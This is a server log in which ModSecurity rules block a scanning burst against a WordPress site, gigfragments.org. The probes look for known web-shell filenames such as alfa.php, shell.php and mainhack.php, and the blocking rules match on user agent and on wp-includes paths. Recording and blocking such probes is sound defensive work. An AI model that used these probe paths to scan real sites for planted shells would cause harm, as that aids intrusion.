[Fri Dec 19 22:27:50.151342 2025] [:error] [pid 20580:tid 20596] [client 85.203.23.42:41809] [client 85.203.23.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/news-portal/wp-admins.php"] [unique_id "aUVg5kmd1op_YdAdgR25NAAAAEo"]
[Fri Dec 19 22:27:50.566995 2025] [:error] [pid 18438:tid 18447] [client 85.203.23.3:27775] [client 85.203.23.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/news-portal/fm.php"] [unique_id "aUVg5pRArClWV1iij_S5LwAAAYY"]
[Fri Dec 19 22:27:50.993747 2025] [:error] [pid 20675:tid 20692] [client 85.203.23.5:46343] [client 85.203.23.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/themes/wp-cron.php"] [unique_id "aUVg5rMyJ3XqeDRsbQm3YwAAAQQ"]
[Fri Dec 19 22:27:51.448681 2025] [:error] [pid 20580:tid 20603] [client 85.203.23.28:53461] [client 85.203.23.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/cover/cover/theme-footer.php"] [unique_id "aUVg50md1op_YdAdgR25NQAAAFE"]
[Fri Dec 19 22:27:56.884795 2025] [:error] [pid 18438:tid 18453] [client 85.203.23.2:31955] [client 85.203.23.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/covr-wpcom/assets/fonts/manrope.php"] [unique_id "aUVg7JRArClWV1iij_S5NQAAAYw"]
[Fri Dec 19 22:27:57.311592 2025] [:error] [pid 20581:tid 20633] [client 85.203.23.46:40881] [client 85.203.23.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/algovge.php"] [unique_id "aUVg7fxEv7WXNhnFD1mfFgAAAJI"]
[Fri Dec 19 22:27:57.747198 2025] [:error] [pid 20675:tid 20692] [client 85.203.23.31:34783] [client 85.203.23.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/klex.php"] [unique_id "aUVg7bMyJ3XqeDRsbQm3cgAAAQQ"]
[Fri Dec 19 22:27:58.185529 2025] [:error] [pid 20675:tid 20710] [client 85.203.23.43:33223] [client 85.203.23.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/datate.php"] [unique_id "aUVg7rMyJ3XqeDRsbQm3dwAAARY"]
[Fri Dec 19 22:27:58.619206 2025] [:error] [pid 20675:tid 20709] [client 85.203.23.45:41441] [client 85.203.23.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/crystal/alfa.php"] [unique_id "aUVg7rMyJ3XqeDRsbQm3egAAARU"]
[Fri Dec 19 22:27:59.020996 2025] [:error] [pid 20582:tid 20660] [client 85.203.23.42:39487] [client 85.203.23.42] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/zczv.php"] [unique_id "aUVg78pAnrkQKZ4b5gZY3gAAANI"]
[Fri Dec 19 22:27:59.468340 2025] [:error] [pid 20582:tid 20650] [client 85.203.23.27:28537] [client 85.203.23.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-speed.php"] [unique_id "aUVg78pAnrkQKZ4b5gZY3wAAAMg"]
[Fri Dec 19 22:27:59.925366 2025] [:error] [pid 20582:tid 20666] [client 85.203.23.12:48831] [client 85.203.23.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/tx1.php"] [unique_id "aUVg78pAnrkQKZ4b5gZY5AAAANg"]
[Fri Dec 19 22:28:05.361249 2025] [:error] [pid 20582:tid 20663] [client 85.203.23.5:40269] [client 85.203.23.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ox.php"] [unique_id "aUVg9cpAnrkQKZ4b5gZY6wAAANU"]
[Fri Dec 19 22:28:05.801349 2025] [:error] [pid 20675:tid 20692] [client 85.203.23.12:48021] [client 85.203.23.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/wp-error.php"] [unique_id "aUVg9bMyJ3XqeDRsbQm3iwAAAQQ"]
[Fri Dec 19 22:28:11.196823 2025] [:error] [pid 16026:tid 16053] [client 85.203.23.14:60453] [client 85.203.23.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/templates/xex.php"] [unique_id "aUVg-0LVfhf4Jb3enmNVGQAAAVg"]
[Fri Dec 19 22:28:11.617999 2025] [:error] [pid 20580:tid 20590] [client 85.203.23.22:34423] [client 85.203.23.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aUVg-0md1op_YdAdgR25SQAAAEQ"]
[Fri Dec 19 22:28:12.073965 2025] [:error] [pid 20582:tid 20650] [client 85.203.23.17:65241] [client 85.203.23.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/themes.php"] [unique_id "aUVg_MpAnrkQKZ4b5gZY9AAAAMg"]
[Fri Dec 19 22:28:12.476022 2025] [:error] [pid 20675:tid 20696] [client 85.203.23.15:32011] [client 85.203.23.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aUVg_LMyJ3XqeDRsbQm3kQAAAQg"]
[Fri Dec 19 22:28:18.545498 2025] [:error] [pid 18438:tid 18451] [client 85.203.23.23:30731] [client 85.203.23.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/chosen.php"] [unique_id "aUVhApRArClWV1iij_S5SwAAAYo"]
[Fri Dec 19 22:28:28.992009 2025] [:error] [pid 20580:tid 20607] [client 85.203.23.27:26853] [client 85.203.23.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfour/locks.php"] [unique_id "aUVhDEmd1op_YdAdgR25XQAAAFU"]
[Fri Dec 19 22:28:34.391521 2025] [:error] [pid 16026:tid 16044] [client 85.203.23.5:32223] [client 85.203.23.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/onXRoy.php"] [unique_id "aUVhEkLVfhf4Jb3enmNVKwAAAU8"]
[Fri Dec 19 22:28:34.823691 2025] [:error] [pid 16026:tid 16030] [client 85.203.23.23:51055] [client 85.203.23.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/checker/wsa.php"] [unique_id "aUVhEkLVfhf4Jb3enmNVLgAAAUE"]
[Fri Dec 19 22:28:35.251729 2025] [:error] [pid 18438:tid 18463] [client 85.203.23.40:64309] [client 85.203.23.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/Contrller.php"] [unique_id "aUVhE5RArClWV1iij_S5ZQAAAZY"]
[Fri Dec 19 22:28:35.693412 2025] [:error] [pid 18438:tid 18456] [client 85.203.23.31:23923] [client 85.203.23.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/goup.php"] [unique_id "aUVhE5RArClWV1iij_S5aQAAAY8"]
[Fri Dec 19 22:28:51.087162 2025] [:error] [pid 20581:tid 20619] [client 85.203.23.27:47231] [client 85.203.23.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/hex.php"] [unique_id "aUVhI_xEv7WXNhnFD1mfTgAAAIQ"]
[Fri Dec 19 22:28:51.489377 2025] [:error] [pid 16026:tid 16046] [client 85.203.23.6:55101] [client 85.203.23.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/about.php"] [unique_id "aUVhI0LVfhf4Jb3enmNVRQAAAVE"]
[Fri Dec 19 22:28:51.879951 2025] [:error] [pid 16026:tid 16032] [client 85.203.23.25:35979] [client 85.203.23.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/xddqann/"] [unique_id "aUVhI0LVfhf4Jb3enmNVRgAAAUM"]
[Fri Dec 19 22:28:57.309020 2025] [:error] [pid 16026:tid 16029] [client 85.203.23.36:48923] [client 85.203.23.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/tetracl/"] [unique_id "aUVhKULVfhf4Jb3enmNVVgAAAUA"]
[Fri Dec 19 22:29:02.751522 2025] [:error] [pid 16026:tid 16035] [client 85.203.23.53:32167] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/function/test.php"] [unique_id "aUVhLkLVfhf4Jb3enmNVYAAAAUY"]
[Fri Dec 19 22:29:08.156070 2025] [:error] [pid 20580:tid 20588] [client 85.203.23.45:43145] [client 85.203.23.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/twentytwentyfive/locks.php"] [unique_id "aUVhNEmd1op_YdAdgR25fQAAAEI"]
[Fri Dec 19 22:29:08.580781 2025] [:error] [pid 20675:tid 20702] [client 85.203.23.51:31609] [client 85.203.23.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/column/"] [unique_id "aUVhNLMyJ3XqeDRsbQm37gAAAQ4"]
[Fri Dec 19 22:29:08.981178 2025] [:error] [pid 20675:tid 20712] [client 85.203.23.32:43469] [client 85.203.23.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/george-lois-wpcom/t.php"] [unique_id "aUVhNLMyJ3XqeDRsbQm37wAAARg"]
[Fri Dec 19 22:29:09.397936 2025] [:error] [pid 20675:tid 20711] [client 85.203.23.53:24111] [client 85.203.23.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp_helper_hzkys/shell.php"] [unique_id "aUVhNbMyJ3XqeDRsbQm38AAAARc"]
[Fri Dec 19 22:29:09.813060 2025] [:error] [pid 20581:tid 20619] [client 85.203.23.40:62539] [client 85.203.23.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/nux.php"] [unique_id "aUVhNfxEv7WXNhnFD1mfVwAAAIQ"]
[Fri Dec 19 22:29:10.246483 2025] [:error] [pid 20581:tid 20626] [client 85.203.23.45:54403] [client 85.203.23.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/foter.php"] [unique_id "aUVhNvxEv7WXNhnFD1mfWgAAAIs"]
[Fri Dec 19 22:29:10.663813 2025] [:error] [pid 20582:tid 20645] [client 85.203.23.35:61213] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/cache/et/"] [unique_id "aUVhNspAnrkQKZ4b5gZZHgAAAMM"]
[Fri Dec 19 22:29:11.076032 2025] [:error] [pid 16026:tid 16049] [client 85.203.23.2:53355] [client 85.203.23.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/amp/assets/images/about.php"] [unique_id "aUVhN0LVfhf4Jb3enmNVcgAAAVQ"]
[Fri Dec 19 22:29:11.504945 2025] [:error] [pid 16026:tid 16053] [client 85.203.23.14:46045] [client 85.203.23.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/rstsgd.php"] [unique_id "aUVhN0LVfhf4Jb3enmNVdAAAAVg"]
[Fri Dec 19 22:29:11.926267 2025] [:error] [pid 20675:tid 20692] [client 85.203.23.34:42097] [client 85.203.23.34] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/alf.php"] [unique_id "aUVhN7MyJ3XqeDRsbQm4AAAAAQQ"]
[Fri Dec 19 22:29:12.341428 2025] [:error] [pid 20582:tid 20655] [client 85.203.23.45:38569] [client 85.203.23.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aUVhOMpAnrkQKZ4b5gZZIAAAAM0"]
[Fri Dec 19 22:29:12.779236 2025] [:error] [pid 18438:tid 18441] [client 85.203.23.34:31411] [client 85.203.23.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/prayer_intentions.php"] [unique_id "aUVhOJRArClWV1iij_S5pwAAAYA"]
[Fri Dec 19 22:29:33.249793 2025] [:error] [pid 20581:tid 20620] [client 85.203.23.17:60591] [client 85.203.23.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dup-installer/wp-includes/js/tinymce/skins/lightgray/fonts/cm8odl/aunvr.php"] [unique_id "aUVhTfxEv7WXNhnFD1mfeAAAAIU"]
[Fri Dec 19 22:29:38.651823 2025] [:error] [pid 41451:tid 41472] [client 85.203.23.51:35229] [client 85.203.23.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dup-installer/wp-includes/blocks/post-author-biography/"] [unique_id "aUVhUgYXFn-DbZghZBH13wAAABI"]
[Fri Dec 19 22:29:39.065934 2025] [:error] [pid 16026:tid 16029] [client 85.203.23.23:43889] [client 85.203.23.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dup-installer/wp-content/et-cache/fr_FR/"] [unique_id "aUVhU0LVfhf4Jb3enmNVnQAAAUA"]
[Fri Dec 19 22:29:39.465949 2025] [:error] [pid 41451:tid 41478] [client 85.203.23.3:30121] [client 85.203.23.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dup-installer/wp-content/themes/Divi/includes/widgets/"] [unique_id "aUVhUwYXFn-DbZghZBH15QAAABg"]
[Fri Dec 19 22:29:44.900218 2025] [:error] [pid 18438:tid 18458] [client 85.203.23.25:25921] [client 85.203.23.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/revslider/templates/magazineposts/"] [unique_id "aUVhWJRArClWV1iij_S5_gAAAZE"]
[Fri Dec 19 22:29:45.349378 2025] [:error] [pid 18438:tid 18464] [client 85.203.23.12:53913] [client 85.203.23.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/flatco/assets/"] [unique_id "aUVhWZRArClWV1iij_S6AwAAAZc"]
[Fri Dec 19 22:30:00.792726 2025] [:error] [pid 16026:tid 16046] [client 85.203.23.11:52071] [client 85.203.23.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/dt-the7/inc/mods/mod-woocommerce/assets/"] [unique_id "aUVhaELVfhf4Jb3enmNV_AAAAVE"]
[Fri Dec 19 22:30:01.233017 2025] [:error] [pid 20582:tid 20660] [client 85.203.23.35:54033] [client 85.203.23.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/nux/"] [unique_id "aUVhacpAnrkQKZ4b5gZZiwAAANI"]
[Fri Dec 19 22:30:01.683407 2025] [:error] [pid 20582:tid 20646] [client 85.203.23.6:44765] [client 85.203.23.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/junkfood/mainhack.php"] [unique_id "aUVhacpAnrkQKZ4b5gZZkAAAAMQ"]
[Fri Dec 19 22:30:07.115523 2025] [:error] [pid 16026:tid 16030] [client 85.203.23.25:60137] [client 85.203.23.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/bbpress/mainhack.php"] [unique_id "aUVhb0LVfhf4Jb3enmNWMAAAAUE"]
[Fri Dec 19 22:30:27.531465 2025] [:error] [pid 20675:tid 20706] [client 85.203.23.2:60245] [client 85.203.23.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/cheka.php"] [unique_id "aUVhg7MyJ3XqeDRsbQm4sAAAARI"]
[Fri Dec 19 22:30:27.937876 2025] [:error] [pid 20582:tid 20656] [client 85.203.23.43:51841] [client 85.203.23.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dgzax.php"] [unique_id "aUVhg8pAnrkQKZ4b5gZZ-wAAAM4"]
